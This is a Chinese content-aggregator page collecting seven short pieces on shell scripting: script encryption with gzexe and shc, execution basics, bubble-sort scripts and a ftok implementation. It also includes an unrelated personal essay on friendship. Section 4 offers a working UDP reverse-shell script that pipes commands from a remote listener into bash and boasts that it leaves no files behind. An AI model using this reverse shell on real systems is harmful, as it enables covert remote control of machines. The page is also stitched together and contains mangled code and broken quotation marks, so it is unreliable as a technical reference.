欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

shell脚本加密脚本安全

时间:2022-08-14 08:55:52 其他范文 收藏本文 下载本文

以下是小编帮大家整理的shell脚本加密脚本安全,本文共7篇,仅供参考,希望能够帮助到大家。

shell脚本加密脚本安全

篇1:shell脚本加密脚本安全

第一种方法(gzexe):

这种加密方式不是非常保险的方法,但是能够满足一般的加密用途,可以隐蔽脚本中的密码等信息,

它是使用系统自带的gzexe程序,它不但加密,同时压缩文件。

使用方法:

gzexe file.sh

它会把原来没有加密的文件备份为 file.sh~ ,同时 file.sh 即被变成加密文件;

第二种方法(shc):

使用 shc 对 Linux shell 脚本加密.

shc是一个专业的加密shell脚本的工具.它的作用是把shell脚本转换为一个可执行的二进制文件,这个办法很好的解决了脚本中含有IP、密码等不希望公开的问题.

shc的下载地址:

点击下载

安装:

tar xzvf shc-3.8.6.tgz

cd shc-3.8.6

mkdir -p /usr/local/man/man1

这步是必须的,不然安装过程中会报错,shc将安装命令到/usr/local/bin/目录下;将帮助文档存放在/usr/local/man/man1/目录下,如果系统中无此目录,安装时会报错,可创建此目录后再执行安装

make install

这是要回答yes或者y,不能直接回车,否则会报错

使用方法:

“-f”选项指定需要加密的程序

shc -r -f script-name

运行后会生成两个文件,script-name.x 和 script-name.x.c. 其中script-name.x是加密后的可执行的二进制文件;用./script-name即可运行,script-name.x.c是生成script-name.x的原文件(c语言).

另shc还提供了一种设定有效执行期限的方法,可以首先使用shc将shell程序转化为二进制,并加上过期时间,如:

# shc -e 18/10/ -m “ It’s too late to run this script. ” -f script.s

篇2:shell脚本学习

1111111111111清除/var/log下messages日志文件的简单命令脚本

/var/log/下日志文件时系统文件,必须有root权限:

$UID是系统的全局变量:

make && make install 表示前面成功了,执行后面的

make || make install 表示前面不成功,执行后面的

清空日志的三种方法:适合保留文件,清空内容的场合

①echo “ ”>test.log或echo > test.log

②>test.log

③cat /dev/null > test.log

22222222222:shell脚本的基础知识

shell是弱类型语言:(语法宽松,不严格)较为通用

通用的shell有标准的Bourne shll(sh)和c shell(csh)其中Bourne shell(sh)已经被bash shell取代

shell脚本的建立:

tac /etc/init.d/nfs 将文件倒着显示

相当于:head -1 /etc/init.d/nfs

①脚本开头

一个规范的shell脚本的第一行会指出由哪个程序(解释器)来执行脚本中的内容,在

333333333333linux bash 编程中一般为:

①解释器

#!/bin/bash

#!/bin/sh

②在linux下sh 相当于bash,

#!又称幻数,在执行bash脚本的时候,内核会根据它来确定用哪个程序来解释脚本中的内容

,这一行必须在脚本顶端的第一行,如果不是第一行,则为注释

Centos.和RedHat linux下默认的shell均为bash

④如果脚本的开头不指定解释器,那么,就要用对应的解释器来执行脚本

脚本注释

#号

444444444444444shell脚本的执行

shell脚本的执行

当shell脚本以非交互的方式运行时,它会先查找环境变量ENV,该变量指定了一个,环境文件(通常是.bashrc),然后从改环境变量文件开始执行,当读取了ENV文件后,SHELL才开始执行shell脚本中的内容,

shell脚本学习

Shell脚本的执行通常可以采用以下三种方式:

①bash script-name或 sh script-name(推荐使用)

②path/script-name或./script-name(当前路径下执行脚本)

③source script-name或. script-name# 注意点号

第一种方法是当脚本文件本身没有可执行权限(即文件X位为-号)时常使用的方法,这里推荐用bash执行,或者文件开头没有指定解释器,

第二种方法需要先将脚本文件的权限改为可执行(即文件加X位),具体方法:chmod u+x

script-name 或者chmod 755 script-name然后通过脚本路径,就可以直接执行脚本了

第三种方法通常是使用source或者“.” 号读入或加载指定的shell脚本文件语句,,然后,依次执行指定shell脚本文件san.sh中的所有。语句将作为当前父shell脚本father.sh进程的一部分运行,因此,使用source或者“.”点号等的可以将san.sh自身脚本中的变量的值,或者函数等的返回值传递到当前的父shell脚本father.sh中使用,这是第三种方法和前两种方法的最大区别

通过source 或“.” 点号加载执行过的脚本,在脚本结束后脚本中的变量(包括函数)值,在当前shell中依然存在,而sh和bash则不行,因此,在做shell脚本开发时。如果脚本中有需求引用其他脚本的内容,或者配置文件时,做好用“.” 点号或者source在脚本开头加载改脚本或配置文件,然后在下面的内容用可以调用source加载的脚本及文件中的变量及函数等内容。

笔试题:

已知如下命令及返回结果,请问echo $user的返回的结果为

[oldboy@test~]cat test.sh

[oldboy@test~]user=`whoami`

[oldboy@test~]sh test.sh

篇3:shell脚本排序(冒泡排序)

#/bin/basha=(9 84 51 0 345 1 2 34 1 0) #自己定义一个数组temp=for((i=0;i<10;i++)){ for((j=i;j<10;j++)) { x=${a[$i]} if test $x -ge ${a[$j]} then temp=${a[$i]} a[$i]=${a[$j]} a[$j]=$temp fi }}for((k=0;k<10;k++)){ echo -n ${a[$k]} “ ”}echo

上面以自定义固定数组进行排序,下面是用户自定义输入数组进行排序,

shell脚本排序(冒泡排序)

#/bin/basha=`expr $# + 1`#expr是一个计算操作,$#是参数个数,$#+1是因为$0没有存储参数.temp=for((i=1;i<$a;i++)){ b[$i]=$1 shift 1 }for((i=1;i<$a;i++)){ for((j=i;j<$a;j++)) { x=${b[$i]} if test $x -ge ${b[$j]} then temp=${b[$i]} b[i]=${b[$j]} b[j]=$temp #相当与冒泡排序 fi }}for((k=1;k<$a;k++)){ echo -n ${b[$k]} “ ” #不换行显示}echo~$./a.out 7 6 56 4 3

~$3 4 6 7 56

篇4:Linux UDP反弹shell脚本脚本安全

无端口

成功启动后无残余文件

一般情况下没有UDP单包512字节的问题,当然你要是执行奇葩的命令我也没办法

非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了

由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出

图就不贴了,大家自己玩

#!/bin/bash

exec 3>/dev/udp/127.0.0.1/8080

exec 2>&3

exec 1>&3

echo Welcom back

cat 03 | bash | while read line;do echo $line;done

篇5:脚本

不能轻易进入对方的世界,对方也不能轻易找到的通道。

这就是我的友情。

寡淡而过渡。

我是很小心眼的。为了一点和自己过意不去的小事情就生气,却在下一秒就原谅了对方。如果实在太纠结,那也只可能是因为某个问题自己暂时还没有想通而已。比如为什么要插列;为什么这么势利;为什么爱跟我学等等。

习惯给喜欢的东西取一个亲切的名字,或以特殊的称谓进行交流。

比如:小西=罗茜、魔拉=一块大草坪、大妞=黄可磊、人气小天后=琴姐……

男么么、女么么、z、春天、招牌动作、雕牌透明皂、西西、胖大海、阿长、阿短、打波e、蛋挞、……还有至今未想好名字的胡同学。

当然还包括白菜的那一帮帮菜头儿们。

我的友谊网像一个大筛子,遇到的很多,最终没被过滤掉的很少。

我不知道是不是我太过敏感、太过愚钝,还是没人能把握好我脾气变化的周期。总之、我不适合有太多朋友。

经过初中冗杂的小女生的生活,那些种种:力力、钟瑷琳、琴姐、papa、yo姐……不管怎样笼统地分出好人坏人,都渐渐让我看清,没有真正的友谊。像在钟瑷琳的事发生以后我在日记中写道:“朋友只是由于暂时地拥有共同的利益而上了同一条船。而那些断然认为的知己,只是因为他们的利益比较纯粹罢了。”

篇6:Shell脚本排序算法(冒泡排序)

#/bin/basha=(9 84 51 0 345 1 2 34 1 0) #自己定义一个数组temp=for((i=0;i<10;i++)){ for((j=i;j<10;j++)) { x=${a[$i]} if test $x -ge ${a[$j]} then temp=${a[$i]} a[$i]=${a[$j]} a[$j]=$temp fi }}for((k=0;k<10;k++)){ echo -n ${a[$k]} “ ”}echo

上面写的数组是事前在代码里定义好的数组排序,下面的是用户在执行过程中自定义的数组排序,

Shell脚本排序算法(冒泡排序)

#/bin/basha=`expr $# + 1`#expr是一个计算操作,$#是参数个数,$#+1是因为$0没有存储参数.temp=for((i=1;i<$a;i++)){ b[$i]=$1 shift 1 }for((i=1;i<$a;i++)){ for((j=i;j<$a;j++)) { x=${b[$i]} if test $x -ge ${b[$j]} then temp=${b[$i]} b[i]=${b[$j]} b[j]=$temp #相当与冒泡排序 fi }}for((k=1;k<$a;k++)){ echo -n ${b[$k]} “ ” #不换行显示}echo$: ./liu.sh 8 7 6 4 100 7

$: 4 6 7 7 8 100

篇7:Shell脚本实现ftok函数

这篇文章主要介绍了Shell脚本实现ftok函数,ftok函数是操作系统底层中很有名的一个函数,本文讲在Shell中如何实现同样算法的函数,需要的朋友可以参考下

“古老的 Sys IPC 仍然有好几种有效的用途,三种 IPC 对象是共享内存,信号灯和消息。”当使用到 IPC 的这些对象时,你需要为每个对象创建一个 Key。虽然理论上来说我们在定义一个 IPC Key 的时候可以使用任意自己喜欢的 Key ,但为了避免与其他的程序产生定义重复,在 UNIX/Linux 中一般会使用 key_t ftok(const char *path, int id) 函数来生成一个比较唯一的 Key 值。然而,“每个人都讨厌 System V IPC。它比打孔纸带还慢,使用与文件系统完全无关少得可怜的名字空间,使用人类讨厌的数字给它的对象命名,并且还常常自己忘记自己的对象,你的系统管理员经常需要用 ipcs(1) 查找那些丢失了的对象并且用 ipcrm(1) 删除它们,还得求老天保佑不要在用光内存以后才发现问题。” 对于来实现进程监控/自动重启Bash Shell 脚本来说,在脚本里面硬编码进当前程序用到的 Key 值肯定不是个好办法,最好是实现相同算法的 ftok 函数。

代码如下:

#!/bin/sh

let key=0

function ftok() {

pathname=$1;

proj_id=$2;

str_st_ino=`stat --format=‘%i‘ “${pathname}” 2>/dev/null`;

str_st_dev=`stat --format=‘%d‘ “${pathname}” 2>/dev/null`;

if [ “x${str_st_ino}” = “x” -o “x${str_st_dev}” = “x” ] ; then

return 1;

fi

let st_ino=${str_st_ino}

let st_dev=${str_st_dev}

# 注意这里的位操作运算符需要加转义符

let key1=${st_ino}&16#FFFF

let key2=${st_dev}&16#FF

let key2=${key2}<<16

let key3=${proj_id}&16#FF

let key3=${key3}<<24

let key=${key1}|${key2}

let key=${key}|${key3}

}

function echohelp(){

echo “ftok generator”

echo “Usage:ftok pathname projid”

exit 5

}

if [ $# -ne 2 ] ; then

echohelp

fi

sPathName=$1

let nProjectID=$2

if [ “${sPathName:0:1}” != “/” ] ; then

sPathName=${PWD}/${sPathName}

fi

if ! test -f ${sPathName} ; then

echo “No File Found![${sPathName}]”

exit 4

fi

ftok “${sPathName}” “${nProjectID}”

echo ${key}

linux shell自动创建ca证书脚本linux操作系统

情景党课脚本

脚本格式范文

舞蹈作品脚本范文

Discuz! moderation.inc.php 数据库注射 bug脚本安全

零食的广告脚本范文

医院地震演练脚本范文

一次简单的搜索型注入脚本安全

十一月应急预案演练脚本策划

医院火灾应急预案演练脚本

《shell脚本加密脚本安全(合集7篇).doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式

点击下载本文文档